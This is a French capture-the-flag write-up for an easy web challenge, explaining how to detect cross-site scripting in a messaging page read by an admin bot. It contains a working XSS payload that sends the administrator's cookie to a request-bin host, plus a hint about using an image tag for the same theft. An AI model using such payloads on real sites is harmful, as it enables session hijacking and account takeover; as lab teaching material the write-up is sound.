Pour un rendu optimal, activez JavaScript

[GreenFlag] Web - UN COOKIE !!! (Facile)

 ·  ☕ 3 min de lecture  ·  ✍ Docfore

Description

Votre mission, si vous l’acceptez est de voler le cookie de l’administrateur du site, ça ne devrait pas ĂȘtre trop compliquĂ© pour un H4X0R tel que vous ?

Ca devrait ĂȘtre aussi simple que de voler un cookie Ă  un enfant !

(ahahah ta kompri la blague ? cookie le gateau et cookie le truc sur internet mdrrrr)

Site internet du challenge

Observations

DĂšs qu’on arrive sur le site, c’est plutĂŽt simple, on a directement une messagerie. AprĂšs avoir envoyĂ© quelques messages (ou non), on se rend vite compte qu’ils sont lu par un bot (c’est Ă©crit en white text d’ailleurs).

Étant donnĂ© qu’on est ici sur un service de messagerie. Il y a une faille qui est plutĂŽt classique sur ce genre de service. C’est une faille nommĂ©e XSS, ce qui signifie Cross Site Scripting (oui, oui, le C devient un X). La maniĂšre dont on va dĂ©tecter cette faille est la mĂȘme qui va nous permettre de l’exploiter.

Le principe de cette faille est de pouvoir injecter des balises HTML qui vont ĂȘtre interprĂ©tĂ©es par le navigateur. Normalement, le serveur devrait gĂ©rer toutes les entrĂ©es utilisateur avant de les rĂ©-afficher.

Attention : ici, le serveur tourne sous Flask, en temps normal, il n’est pas possible d’exploiter cette faille avec des serveurs Flask. Ici, ça fonctionne car j’ai retirĂ© cette sĂ©curitĂ© (n’espĂ©rez pas avoir ça dans la rĂ©alitĂ©). En effet, Flask utilise jinja2 pour gĂ©nĂ©rer l’HTML d’une page et fait bien attention Ă  gĂ©rer les caractĂšres ‘<’ et ‘>’. Il n’est alors plus possible d’injecter des balises HTML.

Pour tester, s’il est possible d’avoir un XSS, on peut simplement afficher

TEST_XSS

Avec ça, le texte devrait apparaĂźtre comme ça TEST_XSS. Si l’affichage se fait comme ça, on est sĂ»rement bien parti pour trouver cette faille.

Par contre ce qui serait parfait serait d’exĂ©cuter du script. Et c’est justement la prochaine Ă©tape. On va essayer de faire alert(1). Si quand la page se recharge, vous avez une petite fenĂȘtre qui apparaĂźt en affichant ‘1’, c’est que vous venez de trouver une faille XSS et c’est gĂ©nial.

TEST XSS

Exploitation de la faille

Exploiter cette faille est ici trĂšs simple. Le but Ă©tant de rĂ©cupĂ©rer le cookie de l’administrateur, il y a plusieurs maniĂšres possible. La maniĂšre que je vais vous prĂ©senter est la suivante. On va utiliser un site request bin, ici ça sera hookbin.

Le payload pour intercepter le cookie de l’administrateur est trĂšs simple :

1
<script>window.open("https://hookb.in/xxxxxxxxxxxxx?cookie="+document.cookie)</script>

Le rĂ©sultat sur Hookbin fait plaisir, on a rĂ©cupĂ©rer le cookie de l’admin.

Cookie admin

Et voilĂ , on a bien rĂ©cupĂ©rĂ© le cookie de l’administrateur. Il faut savoir que l’on peut aussi utiliser d’autres fonctions JavaScript. Il arrive mĂȘme que des sites internet refusent les balises de script, mais autorisent quand mĂȘme les balises d’image par exemple. Dans ce cas il est aussi possible de rĂ©cuperer le cookie de l’admin en choisissant la source de l’image comme Ă©tant notre hookbin.

Partagez

Hackin'TN
RÉDIGÉ PAR
Docfore
Trésorier Hackin'TN 2021